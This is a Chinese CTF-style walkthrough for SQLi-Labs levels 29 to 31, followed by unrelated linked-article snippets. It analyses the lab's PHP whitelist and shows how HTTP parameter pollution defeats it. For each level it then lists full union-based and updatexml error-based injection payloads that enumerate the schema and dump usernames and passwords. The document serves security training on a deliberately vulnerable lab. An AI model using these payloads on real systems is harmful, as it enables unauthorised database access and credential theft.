SQL-Labs靶场“29-31”关通关教程

君衍.

  • 一、二十九关 基于错误的WAF单引号注入
    • 1、源码分析
    • 2、HTTP参数污染
    • 3、联合查询注入
    • 4、updatexml报错注入
  • 二、三十关 基于错误的WAF双引号注入
    • 1、源码分析
    • 2、联合查询注入
    • 3、updatexml报错注入
  • 三、三十一关 基于错误的WAF双引号括号注入
    • 1、源码分析
    • 2、联合查询注入
    • 3、updatexml报错注入

一、二十九关 基于错误的WAF单引号注入

请求方式注入类型拼接方式
GET联合、报错、布尔盲注、延时盲注id=‘$id’

这道题如果按照我们以往的思路去做其实是错误的,下面我们进行错误的示范,首先使用1以及1单引号进行测试:
在这里插入图片描述
在这里插入图片描述
好了,这下我们直接发现了可以使用联合查询以及报错注入了。然后我们查字段···爆数据,最后发现注入成功了:
在这里插入图片描述
对,上面便是错误的解题,因为我们会发现这一关跟第一关没啥区别了,很简单,实际上我们首先需要进行源码的分析。

1、源码分析

本关包含了三个源码文件,index.php、login.php以及hacked.php文件:
三个文件所展示的页面依次如下:
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
好的,下面我们来分析源代码,由于hacked.php源码没啥东西,这里就不详细讲了,需要的查看图片。
index.php:

if(isset($_GET['id']))
{$id=$_GET['id'];//logging the connection parameters to a file for analysis.$fp=fopen('result.txt','a');fwrite($fp,'ID:'.$id."\n");fclose($fp);$qs = $_SERVER['QUERY_STRING'];$hint=$qs;
// connectivity $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";$result=mysqli_query($con1, $sql);$row = mysqli_fetch_array($result, MYSQLI_BOTH);if($row){echo 'Your Login name:'. $row['username'];echo 'Your Password:' .$row['password'];}else {print_r(mysqli_error($con1));}
}else { echo "Please input the ID as parameter with numeric value";}

下面我进行大致解读,首先就是获取传入id的值,然后执行whitelist进行过滤检测,判断看是否有符号限制规则。之后就是查询,查到显示查询结果,没查到报错。

login.php:

if(isset($_GET['id']))
{$qs = $_SERVER['QUERY_STRING'];$hint=$qs;$id1=java_implimentation($qs);$id=$_GET['id'];//echo $id1;whitelist($id1);//logging the connection parameters to a file for analysis.$fp=fopen('result.txt','a');fwrite($fp,'ID:'.$id."\n");fclose($fp);
// connectivity $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";$result=mysqli_query($con1, $sql);$row = mysqli_fetch_array($result, MYSQLI_BOTH);if($row){echo 'Your Login name:'. $row['username'];echo 'Your Password:' .$row['password'];  	}else {print_r(mysqli_error($con1));}
}else { echo "Please input the ID as parameter with numeric value";}

接着我进行大致解读,首先查询query字符串,模拟tomcat的查询函数处理,之后再次进行过滤检测,将结果传入sql查询语句当中继续进行查询,如果查询到信息,输出查询信息,如果查不到,那么就输出报错结果。

下面便是最关键的一部分,也是login.php中的两个函数:

//WAF implimentation with a whitelist approach..... only allows input to be Numeric.
function whitelist($input)
{$match = preg_match("/^\d+$/", $input);if($match){//echo "you are good";//return $match;}else{	header('Location: hacked.php');//echo "you are bad";}
}// The function below immitates the behavior of parameters when subject to HPP (HTTP Parameter Pollution).
function java_implimentation($query_string)
{$q_s = $query_string;$qs_array= explode("&",$q_s);foreach($qs_array as $key => $value){$val=substr($value,0,2);if($val=="id"){$id_value=substr($value,3,30); return $id_value;echo "<br>";break;}}
}

以上是两个函数的源码,下面我们进行分析:

  • $match = preg_match("/^\d+$/", $input);
    • 在whitelist函数当中,首先对获取到的id参数进行正则匹配,必须是数字,^表示匹配输出子行首,$符表示匹配输入行尾,\d匹配一个数字字符,0-9,+表示匹配前面得子表达式一次或多次
  • 然后进行if判断,如果不是数字,那么跳转到hacked.php页面,以上便是whitelist函数内容
  • 下面是java_implimentation函数
    • $q_s = $query_string;$qs_array= explode("&",$q_s);
    • 这里首先将$query_string的变量值赋给$q_s变量,下一步便是使用explode函数将字符串$q_s根据&符号进行分割,生成一个$qs_array数组。也就是将id=1&id=2分割为[id=1,id=2]

最后便是一个遍历函数:

# 遍历数组中每一个元素,同时将值赋给key
# 当前元素将值赋给value
foreach($qs_array as $key => $value)
{# 使用substr函数从value中提取两个字符赋给val$val=substr($value,0,2);# 进行判断,看val是否等于字符串id# 如果当前元素的前两个字符是idif($val=="id"){# 从当前元素值value中提取第四个字符开始30个字符,赋给id_value$id_value=substr($value,3,30); return $id_value;echo "<br>";break;}
}

对,这里我们看似没有问题,实际上:

$id1=java_implimentation($qs);
...
whitelist($id1);

这个函数捕捉到id值时候就会返回return $id_value,这样就会导致用户加入构造两组id,后面的id就会绕过函数检测,如果还不懂的话我们可以慢慢来,现在源码分析完了,我们接下来查看模拟的场景。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

2、HTTP参数污染

首先我们找到登录页面:
在这里插入图片描述
我们可以看到下面有两个文档,然后点击第一个链接:
在这里插入图片描述
往下滑即可看到:
在这里插入图片描述
在这里插入图片描述
这里我们可以看到列举了好多中间件,以及获取的参数的情况表。这里我们着重认识apache、tomcat、python、php、IIS等常用的获取到参数的情况。
这里我们可以看到tomcat服务器只解析参数中的前者,而真正的apache服务器则解析后者:
在这里插入图片描述
所以这里我们就可以传入两个id参数,前者合法,然后后者进行注入。
这便是这关的原理!!!

?id=1&id=注入语句

以上便是HTTP参数污染中的情况,即为攻击者通过在HTTP请求中插入特定的参数来发起攻击,如果Web应用中存在这样的漏洞,可以被攻击者利用来进行客户端或者服务器端的攻击。

3、联合查询注入

1、猜测字段

?id=1&id=1' order by 3--+
?id=1&id=1' order by 4--+

在这里插入图片描述
在这里插入图片描述

2、爆出数据库名

?id=1&id=-1' union select 1,database(),version();%00

在这里插入图片描述

3、爆出数据库中所有表名

?id=1&id=-1'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security';%00

在这里插入图片描述

4、爆出users表中所有列名

?id=1&id=-1'union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users';%00

在这里插入图片描述

5、爆出数据

?id=1&id=-1'union select 1,group_concat(username,0x3a,password),3 from users;%00

在这里插入图片描述
到这里使用union注入完毕。

4、updatexml报错注入

1、爆出数据库名称

?id=1&id=1' and updatexml(1,concat(0x7e,database(),0x7e),1)--+

在这里插入图片描述

2、爆出数据库中的所有表

?id=1&id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'),0x7e),1)--+

在这里插入图片描述

3、爆出users中的列名

?id=1&id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)--+

在这里插入图片描述

4、爆出数据

?id=1&id=1' and updatexml(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 0,1),0x7e),1)--+

在这里插入图片描述
更改limit值即可完成注入。

二、三十关 基于错误的WAF双引号注入

请求方式注入类型拼接方式
GET联合、报错、布尔盲注、延时盲注id=“$id”

本关与二十九关不同的点在于闭合方式不同,剩余的都相同。所以这里我就不讲原理了,直接查看源码注入即可。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

1、源码分析

依旧是三个文件,源码与29关基本相同,除了闭合方式:

$id = '"' .$id. '"';
···
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

其余一致:
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

2、联合查询注入

1、猜测字段

?id=1&id=1" order by 3--+
?id=1&id=1" order by 4--+

在这里插入图片描述
在这里插入图片描述

2、爆出数据库名

?id=1&id=-1" union select 1,database(),version();%00

在这里插入图片描述

3、爆出数据库中所有表名

?id=1&id=-1" union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security';%00

在这里插入图片描述

4、爆出users表中所有列名

?id=1&id=-1" union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users';%00

在这里插入图片描述

5、爆出数据

?id=1&id=-1" union select 1,group_concat(username,0x3a,password),3 from users;%00

在这里插入图片描述
到这里使用union注入完毕。

3、updatexml报错注入

1、爆出数据库名称

?id=1&id=1" and updatexml(1,concat(0x7e,database(),0x7e),1)--+

在这里插入图片描述

2、爆出数据库中的所有表

?id=1&id=1" and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'),0x7e),1)--+

在这里插入图片描述

3、爆出users中的列名

?id=1&id=1" and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)--+

在这里插入图片描述

4、爆出数据

?id=1&id=1" and updatexml(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 0,1),0x7e),1)--+

在这里插入图片描述
更改limit值即可完成注入。

三、三十一关 基于错误的WAF双引号括号注入

请求方式注入类型拼接方式
GET联合、报错、布尔盲注、延时盲注id=(“$id”)

本关与二十九关不同的点在于闭合方式不同,剩余的都相同。所以这里我就不讲原理了,直接查看源码注入即可。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

1、源码分析

依旧是三个文件,源码与29关基本相同,除了闭合方式:

$id = '"' .$id. '"';
···
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";

其余一致:
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

2、联合查询注入

1、猜测字段

?id=1&id=1") order by 3--+
?id=1&id=1") order by 4--+

在这里插入图片描述
在这里插入图片描述

2、爆出数据库名

?id=1&id=-1") union select 1,database(),version();%00

在这里插入图片描述

3、爆出数据库中所有表名

?id=1&id=-1") union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security';%00

在这里插入图片描述

4、爆出users表中所有列名

?id=1&id=-1") union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users';%00

在这里插入图片描述

5、爆出数据

?id=1&id=-1") union select 1,group_concat(username,0x3a,password),3 from users;%00

在这里插入图片描述
到这里使用union注入完毕。

3、updatexml报错注入

1、爆出数据库名称

?id=1&id=1") and updatexml(1,concat(0x7e,database(),0x7e),1)--+

在这里插入图片描述

2、爆出数据库中的所有表

?id=1&id=1") and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'),0x7e),1)--+

在这里插入图片描述

3、爆出users中的列名

?id=1&id=1") and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)--+

在这里插入图片描述

4、爆出数据

?id=1&id=1") and updatexml(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 0,1),0x7e),1)--+

在这里插入图片描述
更改limit值即可完成注入。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/705038.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【JavaEE】_前端使用GET请求的queryString向后端传参

目录 1. GET请求的query string 2. 关于query string的urlencode 1. GET请求的query string 1. 在HttpServletRequest请求中&#xff0c;getParameter方法用于在服务器这边获取到请求中的参数&#xff0c;主要在query string中&#xff1b; query string中的键值对都是程序…

C#中的关键字params的用法

C#中有一个关键字params&#xff0c;它相对于一些主要关键字来说&#xff0c;还算是较为低频的&#xff0c;但也会用到。我们可以了解和学习下。 一、定义及约束 params关键字的作用在于可以让方法参数的数目可变。 params的参数类型必须是一维数组。 一旦在方法加入了para…

C++ list详解以及模拟实现

目录 1.list的使用 1.1list的定义 1.2list的使用 1.3list iterator使用 1.4list capacity 1.5list element access 1.6list增删查改 2.list迭代器失效问题 3.list的模拟实现 1.list的使用 1.1list的定义 1. list是可以在常数范围内在任意位置进行插入和删除的序列式容…

240Hz高刷电竞显示器 - HKC VG253KM

&#x1f389;&#x1f389;&#x1f389; 各位电竞爱好者们&#xff0c;今天给大家带来一款神秘武器&#xff0c;一款能够让你在游戏中大展拳脚的高刷电竞显示器 - HKC VG253KM&#xff01;&#x1f525;&#x1f525;&#x1f525; 这款显示器&#xff0c;哎呀&#xff0c;真…

10分钟快速开始SkyWalking结合Springboot项目

10分钟快速开始SkyWalking结合Springboot项目 实习期间&#xff0c;公司让我去学习一下链路追踪如何集成到Springboot项目中。 为此有两个方案&#xff1a; 1.opentelementryjaegerprometheus opentelementry 收集器收集线上的metrics和traces&#xff0c;然后发送给jaeger和p…

IP对讲终端SV-6002(防水)

SV-6002&#xff08;防水&#xff09;是一款IP对讲终端&#xff0c;具有10/100M以太网接口&#xff0c;其接收网络的音频数据&#xff0c;解码后播放&#xff0c;外部DC12~24V电源供电端子&#xff0c;提供单路2W的音频输出。基于TCP/IP网络通信协议和数字音频技术&#xff0c;…

Vue笔记(一)

常用指令 1.v-show与v-if底层原理的区别 <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><meta name"viewport" content"widthdevice-width, initial-scale1.0"><title>创建一个V…

STM32存储左右互搏 QSPI总线FATS文件读写FLASH W25QXX

STM32存储左右互搏 QSPI总线FATS文件读写FLASH W25QXX FLASH是常用的一种非易失存储单元&#xff0c;W25QXX系列Flash有不同容量的型号&#xff0c;如W25Q64的容量为64Mbit&#xff0c;也就是8MByte。这里介绍STM32CUBEIDE开发平台HAL库Quad SPI总线实现FATS文件操作W25Q各型号…

第十三天-mysql交互

目录 1.安装MySQL connector 方式1&#xff1a;直接安装 方式2&#xff1a;下载 2.创建链接 3.游标Cursor 4.事务控制 5. 数据库连接池 1. 使用 6.循环执行SQL语句 不了解mysql的可以先了解mysql基础 1.安装MySQL connector 1. MySQL connector 是MySQL官方驱动模块…

jmeter 按线程数阶梯式压测数据库

当前版本&#xff1a; jmeter 5.6.3mysql 5.7.39 简介 JMeter 通过 bzm - Concurrency Thread Group 来实现阶梯式压测&#xff0c;它并不是JMeter的官方插件&#xff0c;而是一种由Blazemeter提供的高级线程组插件。可以在不同的时间内并发执行不同数量的线程&#xff0c;模拟…

音频常用测试参数

一、总谐波失真&#xff08;THDN&#xff09; 总谐波失真指音频信号源通过功率放大器时&#xff0c;由于非线性元件所引起的输出信号比输入信号多出的额外谐波成份。谐波失真是由于系统不是完全线性造成的&#xff0c;我们用新增加总谐波成份的均方根与原来信号有效值的百分比来…

MySQL之Pt-kill工具

工具下载 [rootlocalhost1 bin]# wget percona.com/get/percona-toolkit.tar.gz [rootlocalhost1 bin]# yum install perl-DBI [rootlocalhost1 bin]# yum install perl-DBD-MySQL [rootlocalhost1 bin]# ./pt-kill --help1、每10秒检查一次&#xff0c;发现有 Query 的进程就…

3D生成式AI模型与工具

当谈到技术炒作时&#xff0c;人工智能正在超越虚拟世界&#xff0c;吸引世界各地企业和消费者的注意力。 但人工智能可以进一步增强虚拟世界&#xff0c;至少在某种意义上&#xff1a;资产创造。 AI 有潜力扩大用于虚拟环境的 3D 资产的创建。 AI 3D生成使用人工智能生成3D模…

开发知识点-.netC#图形用户界面开发之WPF

C#图形用户界面开发 NuGet框架简介WinForms(Windows Forms):WPF(Windows Presentation Foundation):UWP(Universal Windows Platform):MAUI(Multi-platform App UI):选择控件参考文章随笔分类 - WPF入门基础教程系列

什么时候要用到Reflect API?

参考文档 https://www.zhihu.com/question/460133198 https://cn.vuejs.org/guide/extras/reactivity-in-depth.html https://juejin.cn/post/7103764386220769311 Reflect API 一般搭配 Proxy API 一起使用。什么是 Proxy API 呢&#xff1f; 先回顾下 vue 的数据响应性是如何…

GDB之(3)加载指定动态库文件

GDB之(3)加载指定动态库文件 Author&#xff1a;Once Day Date&#xff1a;2024年2月26日 漫漫长路&#xff0c;才刚刚开始… 全系列文章请查看专栏: Linux实践记录_Once-Day的博客-CSDN博客 推荐参考文档&#xff1a; gdb 查找动态库方法_info sharedlibrary-CSDN博客GDB…

服务器权限:Error: EACCES: permission denied, open‘/Cardiac/uniquC.csv

背景&#xff1a; 我想在服务器上传一个文件uniquC.csv&#xff0c;但是服务器说我没有权限 解决方案&#xff1a; 1. 查看目前是否存在对文件夹的权限 ls -ld /Cardiac/ # your fold path 此时&#xff0c;我发现 这也意味着root也没有赋予写的权限。 2. 拿到root权限 …

Kotlin多线程

目录 线程的使用 线程的创建 例一&#xff1a;创建线程并输出Hello World Thread对象的用法 start() join() interrupt() 线程安全 原子性 可见性 有序性 线程锁 ReentrantLock ReadWriteLock 线程的使用 Java虚拟机中的多线程可以1:1映射至CPU中&#xff0c;即…

ARM 版银河麒麟桌面系统下 Qt 开发环境搭建指南

目录 前言安装Linux ARM 版 QtCreator配置 Qt Creator配置构建套件 第一个麒麟 Qt 应用程序小结 前言 在上一篇文章信创ARM架构QT应用开发环境搭建中建议大家使用 Ubuntu X86 系统作为信创 ARM 架构 QT 应用的开发环境&#xff0c;里面使用了交叉编译的方式。这对于自己的 Qt …

vue3 + vite + ts 中使用less文件全局变量

文章目录 安装依赖新建css变量文件全局引入css变量文件使用css变量 一、安装依赖 npm install less less-loader --save-dev 二、新建CSS变量文件 (1) :在根目录下的src文件中 src-> asset -> css ->glibal.less // glibal.less :root{--public_background_font_Col…